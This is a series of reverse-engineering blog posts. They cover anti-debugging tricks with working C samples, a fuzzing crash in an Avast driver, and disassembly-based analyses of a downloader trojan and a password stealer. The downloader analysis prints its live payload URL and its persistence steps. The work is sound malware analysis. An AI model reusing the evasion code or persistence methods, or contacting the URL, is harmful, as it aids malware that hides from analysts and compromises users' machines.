    The config script allows only 0xB2c80018 sent from aswMon, other drivers are locked. Obviously fuzzing need to follow the log unit that evidenced out IOCTL, so run fuzzer and stop all Avast services.

    Bang..a BSOD, discovered an Avast vulnerability into aswMon2.sys

    From crashdump:

    kd> !analyze -v

    UNEXPECTED_KERNEL_MODE_TRAP_M
    Arguments:
    Arg1: 00000008, EXCEPTION_DOUBLE_FAULT
    Arg2: 80042000
    Arg3: 00000000
    Arg4: 00000000_KERNEL_MODE_TRAP_M (1000007f)
    STACK_TEXT:
    WARNING: Stack unwind information not available. Following frames may be wrong.
    f76f3234 8053d251 f76f3250 00000000 f76f32a4 nt+0◊600fa
    f76f32a4 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0◊66251
    f76f3328 8052c793 41414141 00000000 f76f377c nt+0◊55712
    f76f33a4 804fc700 f76f377c f76f3478 05050505 nt+0◊55793
    f76f3760 8053d251 f76f377c 00000000 f76f37d0 nt+0◊25700
    f76f37d0 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0◊66251
    f76f3854 8052c793 41414141 00000000 f76f3ca8 nt+0◊55712
    f76f38d0 804fc700 f76f3ca8 f76f39a4 05050505 nt+0◊55793
    f76f3c8c 8053d251 f76f3ca8 00000000 f76f3cfc nt+0◊25700
    f76f3cfc 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0◊66251
    f76f3d80 8052c793 41414141 00000000 f76f41d4 nt+0◊55712
    f76f3dfc 804fc700 f76f41d4 f76f3ed0 05050505 nt+0◊55793
    f76f41b8 8053d251 f76f41d4 00000000 f76f4228 nt+0◊25700
    f76f4228 8052c712 badb0d00 20a0a0a1
    ...
  6. EventPair Reversing, EventPairHandle as Anti-Dbg Trick

    Hello,

    Here my little paper on EventPairs, and EventPairHandle as Anti-Dbg Trick

    http://evilcry.netsons.org/tuts/EventPairsHandle.pdf

    Have a nice read,
    Giuseppe 'Evilcry' Bonfa'
  7. NtSetDebugFilterState as Anti-Dbg Trick

    The following paper will uncover some intersting Undocumented functions relative to Windows Debugging Support. NT is capable of generating and collecting text Debug Messages with an high grade of customization. User-mode and kernel-mode drivers use different routines to send output to the debugger.

    User Mode: Uses OutputDebugString, that sends a null-terminated string to the debugger of the calling process. In a user-mode driver, OutputDebugString displays the string in the Debugger Command window. If a debugger is not running, this routine has no effect. OutputDebugString does not support the variable arguments of a printf formatted string.

    Kernel Mode: Uses DbgPrint, that displays output in the debugger window. This routine supports the basic printf format parameters. Only kernel-mode drivers can call DbgPrint. There is also DbgPrintEx that is similar to DbgPrint, but it allows you to "tag" your messages. When running the debugger, you can permit only those messages with certain tags to be sent. This allows you to view only those messages that you are interested in.

    This operation is called Filtering Debug Messages, how it works is a little bit undocumented, to understand how to go inside this aspect, let's start from DbgPrint / DbgPrintEx.

    In Windows XP, DbgPrint has been extended by adding _vDbgPrintExWithPrefix, in this way DbgPrint and DbgPrintEx became wrappers of this function.

    Code:
    ULONG
      vDbgPrintExWithPrefix	(
    	IN PCCH	Prefix,
    	IN ULONG    ComponentId,
    	IN ULONG    Level,
    	IN PCCH     Format,
    	IN va_list  arglist
    	);
    vDbgPrintExWithPrefix routine sends a string to the kernel debugger if certain conditions are met. This routine can append a prefix to debugger output to help organize debugging results.

    Let's see what ComponentId means:

    The component that is calling this routine. This parameter must be one of the component name filter IDs that are defined in Dpfilter.h. Each component is referred to in different ways, depending on the context. In the ComponentId parameter of DbgPrintEx, the component name is prefixed with DPFLTR_ and suffixed with _ID. In the registry, the component filter mask has the same name as the component itself. In the debugger, the component filter mask is prefixed with Kd_ and suffixed with _Mask.

    Now let's see Level parameter:

    The severity of the message that is being sent. This parameter can be any 32-bit integer. Values between 0 and 31 (inclusive)) are treated differently than values between 32 and 0xFFFFFFFF.
    Filter masks that are created by the debugger take effect immediately and persist until Windows is restarted.

    The debugger can override a value that is set in the registry, but the component filter mask returns to the value that is specified in the registry if the computer is restarted. There is also a system-wide mask called WIN2000. By default, this mask is equal to 0x1, but you can change it through the registry or the debugger like all other components. When filtering is performed, each component filter mask is first combined with the WIN2000 mask by using a bitwise OR. In particular, this combination means that components whose masks have never been specified default to 0x1.

    By inspecting deeply vDbgPrintExWithPrefix we can see that it represent a wrap around NtQueryDebugFilterState that retrieves the state of the selected Debug Filter Mask. By inspecting xRefs we discover that NtQueryDebugFilterState is also used by DbgQueryDebugFilterState()

    Code:
    NTSTATUS __stdcall DbgQueryDebugFilterState(ULONG ComponentId, ULONG Level)
    0045000C 	ComponentId     = dword ptr  8
    0045000C 	Level           = dword ptr  0Ch
    0045000C
    0045000C     mov     edi, edi
    0045000E     push    ebp
    0045000F     mov     ebp, esp
    00450011     pop     ebp
    00450012     jmp     NtQueryDebugFilterState
    00450012 _DbgQueryDebugFilterState end proc
    As is obvious, DbgQueryDebugFilterState asks for the actual state of Debug Filters. Near the Query function we can see DbgSetFilterState()

    Code:
    NTSTATUS __stdcall DbgSetDebugFilterState(ULONG ComponentId, ULONG Level, BOOLEAN State)
    0045001C     mov     edi, edi
    0045001E     push    ebp
    0045001F     mov     ebp, esp
    00450021     pop     ebp
    00450022     jmp     NtSetDebugFilterState
    00450022     DbgSetDebugFilterState endp
    DbgSetDebugFilterState is a wrapper of a native NtSetDebugFilterState(ULONG ComponentId, ULONG Level, BOOLEAN State)
    As you can understand this is an intersting API cause attempts to modify the Debug Filter Mask:

    Code:
    0056384C NtSetDebugFilterState(ULONG ComponentId, unsigned int Level, char State)
    0056384C	  mov     edi, edi
    0056384E      push    ebp
    0056384F      mov     ebp, esp
    00563851      mov     eax, large fs:124h       ;KTHREAD
    00563857      movsx   eax, byte ptr [eax+140h] ;KTHREAD->PreviousMode
    0056385E      push    eax             
    0056385F      push    ds:_SeDebugPrivilege.HighPart
    00563865      push    ds:_SeDebugPrivilege.LowPart ;PrivilegeValue
    0056386B      call    SeSinglePrivilegeCheck
    00563870      test    al, al
    00563872      jz      short loc_5638BE ;If PrivilegeValue does not match, exit 							and return 0xC00000022 error
    SeSinglePrivilegeCheck checks for the passed privilege value in the context of the current thread, If PreviousMode is KernelMode, the privilege check always succeeds. Otherwise, this routine uses the token of the user-mode thread to determine whether the current (user-mode) thread has been granted the given privilege.
    Here the rest of the function

    Code:
    v3 = &Kd_WIN2000_Mask;
     if ( ComponentId >= KdComponentTableSize )
        {
          if ( ComponentId != 0xFFFFFFFF )
            return 0xC00000EF;
        }
    else
        {
          v3 = (int *)*(&KdComponentTable + ComponentId);
        }
        if ( Level <= 0x1F )
          v4 = 1 << (char)Level;
        else
          v4 = Level;
        v6 = v4;
        if ( !State )
          v6 = 0;
        *v3 = v6 | *v3 & ~v4;
        result = STATUS_SUCCESS;
    Now we can implement a little Anti-Debug trick based on Debug State Awareness, indeed with NtSetDebugFilterState we are able to determine if the process is debugged or not:

    Code:
    #define WIN32_LEAN_AND_MEAN
    #include <Windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include "ntDefs.h"
    
    #pragma comment(lib,"ntdll.lib")
    
    int main(void)
    {
    	NTSTATUS ntStatus;
    	
    	ntStatus = NtSetDebugFilterState(0,0,TRUE);
    
    	if (ntStatus != STATUS_SUCCESS)
    		MessageBoxA(NULL,"Not Debugged","Warning",MB_OK);		
    
    	else
    		MessageBoxA(NULL,"Debugged","Warning",MB_OK);
    
    	return (EXIT_SUCCESS);
    -> ntDefs.h

    Code:
    typedef LONG NTSTATUS;
    #define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
    
    extern "C"
    __declspec(dllimport) 
    ULONG __stdcall 
    NtSetDebugFilterState(
    					 ULONG ComponentId,
    					 ULONG Level,
    					 BOOLEAN State					 
    					 );
    Trick is really basilar if the Process is Debugged NtSetDebugFilterState returns STATUS_SUCCESS else returns 0xC00000022 Error Code. May be that this trick is already used, but for sure I haven's seen nothing about NtQueryDebugFilterState/NtSetDebugFilterState =)



    Refs:
    http://msdn.microsoft.com/en-us/library/ms792789.aspx
    http://msdn.microsoft.com/en-us/library/ms804344.aspx


    Thanks to #bug channel especially ratsoul 'n swirl

    Regards,
    Giuseppe 'Evilcry' Bonfa'
  8. Backdoor.Win32.UltimateDefender Reverse Engineering

    Hi,

    I've released Backdoor.Win32.UltimateDefender.gtz Reverse Engineering:

    http://evilcry.netsons.org/tuts/Mw/Backdoor-UltimateDefender.pdf

    Regards,
    Giuseppe 'Evilcry' Bonfa'
    Categories
    Reverse Engineering
  9. Trojan.Zhelatin.pk

    Hello,

    Here a little overview of Trojan.Zhelatin.pk one of the first versions of this Malware.

    http://evilcry.netsons.org/tuts/Mw/Zhelatin.pdf

    Have a nice Read

    Regards,
    Giuseppe 'Evilcry' Bonfa'
    Categories
    Reverse Engineering
  10. Debugger Detection Via NtSystemDebugControl

    Hi,
    NtSystemDebugControl() is a really powerful undocumented function, that allows you Direct Manipulation of System's Structures.

    Here a definition of NtSystemDebugControl:

    http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Debug/NtSystemDebugControl.html

    The use of this function is only limited to the fancy of the coder

    I've rewritten some basical Anti Debugging Techniques with Direct Structure Reading with NtSystemDebugControl. Obviously there are shorter ways to implement these Anti-Dbg Apps, but I think that more reimplementations exists and more are possibilities to trick an attacker, that may not know/understands the application..especially if embedded in many..many.. Junk Code

    Here you can download the Source Code sample:

    http://evilcry.netsons.org/other/ntsd.zip

    Have a nice Day,
    Evilcry
  11. Inside DeleteFiber() as Anti Debug Trick

    Hi,

    Malware is often really boring to reverse because in high percentage they implements basical well known mechanisms of infection and self protection.
    But sometimes there are really intersting malware that implements innovative techniques, this is the case of a trojan borned into 2006 that implemented DeleteFiber() as AntiĖDebug Trick in a really easy and smart way.

    To understand how it works, let's see whar DeleteFiber is, directly from MSDN:

    Deletes an existing fiber.

    Syntax

    Code:
    VOID WINAPI DeleteFiber(
      __in  LPVOID lpFiber
    );
    lpFiber is the address of the fiber to be deleted.

    Important to say that the DeleteFiber function deletes all data associated with the fiber. This data includes the stack, a subset of the registers, and the fiber data.

    Now let's see a basical use of DeleteFiber():

    Code:
    #define _WIN32_WINNT 0x0400
    #include <windows.h>
    
    int main(void)
    {
    	char fiber[1024] = {0};		
    	DeleteFiber(fiber);	
    	return EXIT_SUCCESS;
    }
    After showing the basical use of DeleteFiber let's see how can be implemented as Anti-Debug Trick, I insert here direcly the code:

    Code:
    #define _WIN32_WINNT 0x0400
    #include <windows.h>
    #include <stdio.h>
    
    int main(void)
    {
          char fib[1024] = {0};	
    	DeleteFiber(fib);
    
    	if(GetLastError() == 0x00000057)
    		MessageBoxA(NULL,"This process is NOT debugged","Info",MB_OK);
    	else
    		MessageBoxA(NULL,"This process IS debugged","Info",MB_OK);
    	
    	
    	return EXIT_SUCCESS;
    }
    As you can understant we can resume this trick into two cases:

    If the process is NOT debugged DeleteFiber give us an Error Code of 0x00000057 that corresponds to ERROR_INVALID_PARAMETER
    If the process IS debugged the error code is differs from 0x00000057

    What to say it's really easy to implement and really effective for all kind of debuggers, with a bit of junk code that confuses ideas the conditional check could be placed really distant from the DeleteFiber() itself.

    Inside DeleteFiber()


    Now we will see how DeleteFiber internally works to understand why this should be used as Anti-Debug trick.

    This is the Dead List:

    Code:
    00401000  PUSH DF.00403370
    00401005  CALL DWORD PTR DS:[<&KERNEL32.DeleteFiber>;  kernel32.DeleteFiber
    
    inside DeleteFiber()
    
    7C825A9F >   MOV EDI,EDI          ; DF.00403778
    7C825AA1     PUSH EBP
    7C825AA2     MOV EBP,ESP
    7C825AA4     PUSH ECX
    7C825AA5     PUSH ESI
    7C825AA6     MOV EAX,DWORD PTR FS:[18]     ;_TEB Struct
    7C825AAC     MOV ECX,DWORD PTR DS:[EAX+10] ;pointer to _TIB.FiberData field
    7C825AAF     MOV ESI,DWORD PTR SS:[EBP+8]  ;lpFiber
    7C825AB2     CMP ECX,ESI
    7C825AB4     JE kernel32.7C826596          ;ExitThread if( FiberData == lpfiber)
    7C825ABA     AND DWORD PTR SS:[EBP-4],0    ;Clears this Stack location
    7C825ABE     PUSH 8000                     ;MEM_RELEASE
    7C825AC3     LEA EAX,DWORD PTR SS:[EBP-4]  
    7C825AC6     PUSH EAX
    7C825AC7     LEA EAX,DWORD PTR DS:[ESI+10]
    7C825ACA     PUSH EAX
    7C825ACB     PUSH -1
    7C825ACD     CALL DWORD PTR DS:[<&ntdll.NtFreeVirtual>  ntdll.ZwFreeVirtualMemory
    7C825AD3     MOV EAX,DWORD PTR FS:[18]        ;_TEB Struct
    7C825AD9     MOV EAX,DWORD PTR DS:[EAX+30]    ;points to _PEB Struct
    7C825ADC     PUSH ESI                         ;lpFiber
    7C825ADD     PUSH 0                           ;0x00000000
    7C825ADF     PUSH DWORD PTR DS:[EAX+18]       ;PEB.ProcessHeap
    7C825AE2     CALL DWORD PTR DS:[<&ntdll.RtlFreeHeap>] ; ntdll.RtlFreeHeap
    7C825AE8     POP ESI
    7C825AE9     LEAVE
    7C825AEA     RETN 4

    In the first part of DeleteFiber is retrived the _TEB structure and specifically a member of _TIB structure located at 10h

    0:003> dt nt!_TEB -b
    ntdll!_TEB
    +0x000 NtTib : _NT_TIB
    +0x000 ExceptionList : Ptr32
    ...
    +0x00c SubSystemTib : Ptr32
    +0x010 FiberData : Ptr32

    and next if FiberData is equal to our Fiber's Address it means that Fiber is suicinding itself and system calls ExitThread(), next we can notice a NtFreeVirtualMemory call with the following parameters:

    Code:
    NtFreeVirtualMemory(NtCurrentProcess(), &pStackAllocBase,&nSize,MEM_RELEASE);
    The system deallocates the used stack and finally calls RtlFreeHeap in this manner:

    Code:
    RtlFreeHeap(GetProcessHeap(), 0, lpFiber);
    This last call clarifies totally the presence of ERROR_INVALID_PARAMETER because has we have seen DeleteFiber is directly correlated with Heap, and Heap Memory presents a set of Flags that characterize the Heap itself.
    These Flags differs in case the process IS debugged or NOT, so we can suppose that these flags are created when the exe itself is executed, in other words at Process Creation Time. Under Windows NT processes are created through PspUserThreadStartup and inside it we can found LdrInitializeThunk, that as Russinovich sais The LdrInitializeThunk routine initializes the loader, heap manager, NLS tables, thread-local storage (TLS) array, and critical section structures. By going more deep we can see that there is a specific function that fill the PEB Struct of the new process MmCreatePeb(), PEB is important because between his various fields are stored Heap Flags of our process. I'm talking about NtGlobalFlag, for a debugged process these flags are:

    #define FLG_HEAP_ENABLE_TAIL_CHECK 0x00000010
    #define FLG_HEAP_ENABLE_FREE_CHECK 0x00000020
    #define FLG_HEAP_VALIDATE_PARAMETERS 0x00000040


    Now if a process has these flags enabled ( HeapDebug ) RtlFreeHeap will fail the Heap freeing and this error will be propagated to DeleteFiber() that will exit with an ERROR_INVALID_PARAMETER.

    Anti Anti-Debug


    Due to the fact that the Heap Validation is accomplished at Processs Creation Time, one countermeasure against Anti-Debug will be to attach the debugger after that the process is created.
    If you are using WinDbg could be used the HeapDebug option ( -hd )
    Between the function involved in process creation we have also LdrQueryImageFileExecutionOptions that mantains trace of IFEO ( Image File Execution Options structure) this struct is located into Registry under the path [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\]
    The various possible values are:
    Debugger
    DisableHeapLookaside
    ShutdownFlags
    MinimumStackCommitInBytes
    ExecuteOptions
    GlobalFlag
    DebugProcessHeapOnly
    ApplicationGoo
    RpcThreadPoolThrottle
    GlobalFlag can be used to modify NtGlobalFlag, so if you set this key entry to NULL, Heap of the debugged program will looks as an undebugged one, read this as an Anti-Anti Debug Trick .

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Target.exe]
    "GlobalFlag"=""



    Regards,
    Giuseppe 'Evilcry' Bonfa'
  12. Inside SetUnhandledExceptionFilter

    Hi,

    SetUnhandledExceptionFilter()
    is frequently used as Anti Debug Trick, especially in Malware Applications. Around here there are various plugins for Olly that allows the Reverser to trasparently debug this kind of protection, so there is not a real necessity add other words about the mere practical part of trick overcoming.

    Due to the fact that today, too many young reversers uses a ton of plugins anti - anti - xxx without knowing how internally they works, I decided to expose here a little summary of SetUnhandledExceptionFilter Internal characteristics.

    First of all, what SetUnhandledExceptionFilter is? according to MSDN documentation:

    Enables an application to supersede the top-level exception handler of each thread of a process.

    After calling this function, if an exception occurs in a process that is not being debugged, and the exception makes it to the unhandled exception filter, that filter will call the exception filter function specified by the lpTopLevelExceptionFilter parameter.


    And this is the Syntax:

    Code:
    LPTOP_LEVEL_EXCEPTION_FILTER WINAPI SetUnhandledExceptionFilter(
    __in  LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
    );
    lpTopLevelExceptionFilter is a pointer to top-level exception filter function that will be called whenever the UnhandledExceptionFilter function gets control, and the process is not being debugged. A value of NULL for this parameter specifies default handling within UnhandledExceptionFilter.

    Usually, in absence of an UnhandledExceptionFilter the topmost handler called when an uncatched exception occours, is the default one provided by Windows Itself, the classical MessageBox that advices the user that an Unhandled Exception has occured.

    But Windows allow programs to use custom Handlers for UnhandledException. The core of the trick is here, if the application is NOT debugged, the application is able to call the Custom Handler, but if the application IS debugged the Custom Handler will be never called.

    The possibility of cognitive differentiation make obviously able the target application to apply a series of countemeasures against debugging, from detection to code hidding.

    Just remember that due to the architecture of Windows Exception Handling, in every case is called UnhlandledExceptionFilter() function, and this will our point of attack (for anti - anti dbg trick).

    This is the general inner meccanism of SetUnhandledExceptionFilter(), going more deep we observe the call stack of the first thread of any Win32 application, we can see that execution in every case is reported to BaseProcess, here the pseudo definition:

    Code:
    VOID BaseProcessStart( PPROCESS_START_ROUTINE pfnStartAddr )
    {
        __try
        {
            ExitThread( (pfnStartAddr)() );
        }
        __except( UnhandledExceptionFilter( GetExceptionInformation()) )
        {
            ExitProcess( GetExceptionCode() );
        }
    }
    The same thing happens for threads, by referencing to BaseThreadStart:

    Code:
    VOID BaseThreadStart( PTHREAD_START_ROUTINE pfnStartAddr, PVOID pParam )
    {
        __try
        {
            ExitThread( (pfnStartAddr)(pParam) );
        }
        __except( UnhandledExceptionFilter(GetExceptionInformation()) )
        {
            ExitProcess( GetExceptionCode() );
        }
    }
    All that happens inside BaseProcessStart() and BaseThreadStart() for what previously said, will be passed to the UnhandledExceptionFilter().

    Itís now time to see what really is UnhandledExceptionFilter(), according to MSDN:

    An application-defined function that passes unhandled exceptions to the debugger, if the process is being debugged. Otherwise, it optionally displays an Application Error message box and causes the exception handler to be executed. This function can be called only from within the filter expression of an exception handler.

    Syntax:


    Code:
    LONG WINAPI UnhandledExceptionFilter(
      __in  struct _EXCEPTION_POINTERS *ExceptionInfo
    );
    Became clear that UnhandledExceptionFilter represents the last choise for processing unhandled exceptions, so the Check Debugger Presence surely is located inside this function, letís see a simplified version of this function:

    Code:
    LONG UnhandledExceptionFilter( EXCEPTION_POINTERS* pep )
    {
        DWORD rv;
    
        EXCEPTION_RECORD* per = pep->ExceptionRecord;
    
        if( ( per->ExceptionCode == EXCEPTION_ACCESS_VIOLATION ) &&
             ( per->ExceptionInformation[0] != 0 ) )
        {
            rv = BasepCheckForReadOnlyResource( per->ExceptionInformation[1] );
    
            if( rv == EXCEPTION_CONTINUE_EXECUTION )
                return EXCEPTION_CONTINUE_EXECUTION;
        }
    
        DWORD DebugPort = 0;
    
        rv = NtQueryInformationProcess( GetCurrentProcess(), ProcessDebugPort,
                                        &DebugPort, sizeof( DebugPort ), 0 );
    
        if( ( rv >= 0 ) && ( DebugPort != 0 ) )
        {
            // Yes, it is -> Pass exception to the debugger
            return EXCEPTION_CONTINUE_SEARCH;
        }
    
        // Is custom filter for unhandled exceptions registered ?
    
        if( BasepCurrentTopLevelFilter != 0 )
        {
            // Yes, it is -> Call the custom filter
    
            rv = (BasepCurrentTopLevelFilter)(pep);
    
            if( rv == EXCEPTION_EXECUTE_HANDLER )
                return EXCEPTION_EXECUTE_HANDLER;
    
            if( rv == EXCEPTION_CONTINUE_EXECUTION )
                return EXCEPTION_CONTINUE_EXECUTION;
        }   
    
    }
    As you can see, inside UnhandledExceptionFilter() is called NtQueryInformationProcess() that has as first parameter our process and next DebugPort, this is done to know if the process is debugged.

    All that we have to do to obtain an apparently undebugged process is to modify the first parameter (last pushed at debugging time), in other words we have to change the retur value of GetCurrentProcess() from 0xFFFFFFFF to 0◊00000000.

    So remember, when you have to overcome a SetUnhandledExceptionFilter() just put a Breakpoint for UnhandledExceptionFilter() and go inside this function to modify the previously exposed parameter

    Thanks to Oleg Starodumov for pseudocodes

    See you to the next blog post..
  13. CartellaUnicaTasse.exe Italian Malware RCE Analysis

    Hi,
    I've just released a paper into my website about the RCE Analysis of an italian Downloader

    Paper can be reached here:

    http://evilcry.altervista.org/tuts/Mw/CartellaUnicaTasse.pdf

    if this link does not works, just reach it from the home of my website.

    Regards,
    Evilcry
  14. Downloader.Win32.Small or Win32/PolyCrypt Reversing

    Hi,

    Here the analysis of Trojan-Downloader.Win32.Small.ihj and its msstub.dll actually reported as malware but not fully documented.

    Introduction

    MD5 Hash Signature:5f9e38abd1c20ba44ff07903489bac10
    Identification: AVG Antivirus -> Win32/PolyCrypt
    Kaspersky -> Trojan-Downloader.Win32.Small.ihj

    Format: EXE and Embedded DLLs


    The Essay


    PolyCrypt is spreaded through infected Websites by using Exploits or every other form of abusive Download mechanism.
    PolyCrypt is weakly Packer Protected, so with VMUnpack we can suddenly obtain the full working unpacked copy.

    Let's trace from the EP:

    00401000 mov eax, 104h
    00401005 mov edx, offset dword_403033
    0040100A push eax
    0040100B inc ecx
    0040100C push edx
    0040100D push offset loc_4013BE ;points to jmp GetSystemDirectoryA
    00401012 call sub_4012BD ;Call GetSystemDirectoryA

    PolyCrypt uses an basilar method for API call, just to deceit basical fast analysis, the call sub_4012BD access directly the jump table at the entry passed as parameter.


    0040101B push offset aMsstub_dll ; "\\msstub.dll"
    00401020 push offset dword_403033 ;System Directory
    00401025 push offset loc_4013E2
    0040102A call sub_4012BD ;lstrcat
    0040102F pop dword_402027
    00401035 pop ebx
    00401036 push ebx
    00401037 push 80h
    0040103C push 2
    0040103E push ebx
    0040103F push 1
    00401041 push 40000000h
    00401046 push offset dword_403033 ;Full Path
    0040104B push offset CreateFileA
    00401050 call sub_4012BD
    00401060 mov edx, esp
    00401062 push ebx
    00401063 push edx
    00401064 push 1000h
    00401069 push offset dword_402027
    0040106E push dword_403027
    00401074 push offset WriteFile
    00401079 call sub_4012BD
    0040107E pop ecx
    0040107F push dword_403027

    00401085 push offset CloseHandle
    0040108A call sub_4012BD

    This piece of code builds the a string path c:\windows\system32\msstub.dll and next creates this DLL (msstub.dll) and fills if it with embedded data.

    0040108F push offset aDb5825eaB434C6 ; "{DB5825EA-B434-C69E-8E2D-81387140521A}"
    00401094 push offset aClsid ; "CLSID\\"
    00401099 push offset byte_403137
    0040109E push offset wsprintfA
    004010A3 call sub_4012BD
    004010A8 add esp, 0Ch
    004010AB push eax
    004010AC push esp
    004010AD push offset dword_40302F
    004010B2 push ebx
    004010B3 push 3
    004010B5 push 0
    004010B7 push ebx
    004010B8 push ebx
    004010B9 push offset byte_403137 ; ďCLSID\\{DB5825EA..Ē
    004010BE push 80000000h
    004010C3 push offset RegCreateKeyExA

    To overcome basical detecting attemps it's used the CLSID Splitting, the complete string is CLSID\\{DB5825EA-B434-C69E-8E2D-
    81387140521A}
    , obviously next operation
    is to create this Registry Key Entry.

    004010D6 push eax
    004010D7 push esp
    004010D8 push offset dword_40302B
    004010DD push ebx
    004010DE push 2
    004010E0 push 0
    004010E2 push ebx
    004010E3 push ebx
    004010E4 push offset aInprocserver32 ; "InprocServer32"
    004010E9 push dword_40302F
    004010EF push offset RegCreateKeyExA
    00401111 inc eax
    00401112 push eax
    00401113 push offset aApartment ; "Apartment"
    00401118 push 1
    0040111A push ebx
    0040111B push offset aThreadingmodel ; "ThreadingModel"
    00401120 push dword_40302B
    00401126 push offset RegSetValueExA
    0040112B call sub_4012BD
    0040113A inc eax
    0040113B push eax
    0040113C push offset dword_403033
    00401141 push 1
    00401143 push ebx
    00401144 push ebx
    00401145 push dword_40302B
    0040114B call RegSetValueExA
    00401150 push dword_40302B
    00401156 call RegCloseKey


    This piece of code creates into the previously builded CLSID the following entry:


    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\
    {CLSID}\InprocServer32 = iexplorer.exe
    \ThreadingModel = Apartment (which is single threaded)


    In other words Registers a 32-bit in-process server and specifies the threading model of the apartment the server can run in, in our case the InprocServer32 is Internet Explorer.

    So the malicious dll (msstub.dll) could be called by IE, indeed the next operation accomplished by PolyCrypt is to Open IE with ShellExecuteA(), finally builds a .bat script file, called dmfg.bat to delete the Executable..

    PolyCrypt is completly Reversed, let's see now what happens into msstub.dll

    msstub.dll Reversing

    The first fast way to analyze this dll is with LoadDll.exe of OllyDbg, but during the analysis
    is important to change some conditional jump that checks if the dll was called by IE.

    003567C1 MOV AL,BYTE PTR DS:[EDI] ;EDI is the raw address table
    003567C3 INC EDI
    003567C4 OR AL,AL
    003567C6 JE SHORT msstub.003567A4
    003567C8 MOV ECX,EDI
    003567CA PUSH EDI ;HeapAlloc
    003567CB DEC EAX
    003567CC REPNE SCAS BYTE PTR ES:[EDI]
    003567CE PUSH EBP
    003567CF CALL DWORD PTR DS:[ESI+6068] ;GetProcAddress("HeapAlloc")
    003567D5 OR EAX,EAX
    003567D7 JE SHORT msstub.003567E0 ;Address == NULL Jump Out
    003567D9 MOV DWORD PTR DS:[EBX],EAX ;EBX is the address function table
    003567DB ADD EBX,4 ;next address
    003567DE JMP SHORT msstub.003567C1

    This piece of code builds an Address Function Table, this is a method of indirect API Importing, just to make a bit harder Disasm Analysis, here a list of Imported APIs:

    HeapAlloc, GetCurrentProcessId, HeapFree, DeleteFileA,
    HeapCreate, GetLastError, CreateEvent, HeapRealloc, GetTempPathA,
    GetVersion, GlobalAlloc, ExitProcess, CreateFile, HeapDestroy,
    CreateThread, CloseHandle, HeapSize, GetModuleFilename, LoadLibrary,
    Sleep, VirtualFree, WriteFile, lstrcat, lstrcmp, lstrcpy, GlobalFree,
    wsprintf, InternetCloseHandle, HttpSendRequest, HttpQueryInfoA.
    HttpOpenRequest, InternetSetOption, TnternetReadFile,
    InternetQueryDataAvailable InternetOpenA, InternetBadConnectionState, InternetCrackUrlA, InternetConnectA


    It's important to say that this little dll works entirely with the Heap Memory,
    everithing is runtime decrypted and pushed into heap.

    After a decryption routine we obtain some intersting strings:

    http://redmed.ru/images/stories/Sport002/fiax.php

    cvesw.dll

    CLSID\{DB500391040 825EA-B434-C69E-8E2D-81387140521A}


    SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\

    \InprocServer32


    Cause is a Downloader, it's easy to understand that the URL contains malicious code that will be used to build csesw.dll and finally acts in the same way that was used to load msstub.dll, by creating a CLSID Registry Key entry (CLSID\{DB500391040 825EA-B434-C69E-8E2D-81387140521A}) with an InprocServer32 procedure..

    As should be clear by analysing deadly this dll no traces of these operations could be founded, so let's move to a debug approach.

    The core algorithm of the Downloader is obtained by the decryption of a portion of data that is pushed into Heap, so execution flows in the Heap..cause the code is long I've reported only the significants pieces of code..

    00390030 MOV ECX,390581 ; JMP to kernel32.GetModuleFileNameA
    0039003 CALL 00390115 ; GetModuleFileNameA
    ..
    00390045 PUSH EAX
    00390046 PUSH 390108 ; ASCII "iexplore.exe"
    0039004B MOV ECX,3905A5 ; JMP to kernel32.lstrcmpiA
    00390050 CALL 00390115
    ..
    00390055 TEST EAX,EAX
    00390057 JNZ SHORT 003900C1 ;Jump out
    00390059 PUSH 104
    0039005E PUSH 3912E3
    00390063 PUSH DWORD PTR SS:[EBP+8]
    00390066 CALL 00390581 ; JMP to kernel32.GetModuleFileNameA
    0039006B MOV ECX,390521 ; JMP to kernel32.GetCurrentProcessId
    00390070 CALL 00390115
    00390075 PUSH EAX
    00390076 PUSH 3910CD ; ASCII "ntdfgz_%u" ;ntdfgz_PID
    ..
    003900A8 JE SHORT 003900C8
    003900AA PUSH EBX
    003900AB PUSH ESP
    003900AC PUSH EBX
    003900AD PUSH EBX
    003900AE PUSH 39011C ;Thread Procedure
    003900B3 PUSH EBX
    003900B4 PUSH EBX
    003900B5 CALL 0039056F ; JMP to kernel32.CreateThread

    If the dll is not loaded through IE, execution is aborted, else is opened a new thread procedure at address 0039011C, which is the Downloader releated part..

    00390144 PUSH DWORD PTR SS:[EBP-4]
    00390147 PUSH 391000 ; "http://redmed.ru/images/stories/Sport002/fiax.php" ...
    Categories
    Reverse Engineering
  15. Trojan-PSW.Win32.OnLineGames.eos Reversing

    Win32.OnLineGames is a PSW Trojan, which works as a Password Stealer, specifically written to steal online gaming passwords.

    00401314 add eax, esi
    00401316 lea eax, ds:401442h
    0040131C jmp eax ;00401442

    At the entry point, code flow jumps to 00401442

    00401442 push ebp
    00401443 mov ebp, esp
    00401445 sub esp, 52Ch
    0040144B call ds:GetCurrentThreadId
    00401451 push eax
    00401452 call ds:GetThreadDesktop
    00401458 test eax, eax
    0040145A jnz short loc_40145D
    0040145C int 3 ; Trap to Debugger
    0040145D push ebx
    0040145E push esi
    0040145F push edi
    00401460 mov edi, offset aCzxsderdaksiic ; "CZXSDERDAKSIICS_MX"
    00401465 xor esi, esi
    00401467 push edi ; String
    00401468 push esi ; NULL
    00401469 push EVENT_ALL_ACCESS
    0040146E call ds:OpenEventA

    Obtains the handle to the desktop associated to the executable itself and opens the handle of an existing event called CZXSDERDAKSIICS_MX, if event exists its own handle is closed, else a new event (called CZXSDERDAKSIICS_MX9 is created with standard SecurityAttributes.

    00401486 mov [ebp-10h], eax
    00401489 mov edi, offset off_401154 ;Edi points to an array of strings, that are a list of executables
    0040148E mov ecx, [edi]
    00401490 call sub_401798 ;Check if the searched process is running
    00401495 cmp eax, esi
    00401497 jz short loc_4014B2 ; If no, go to the next process
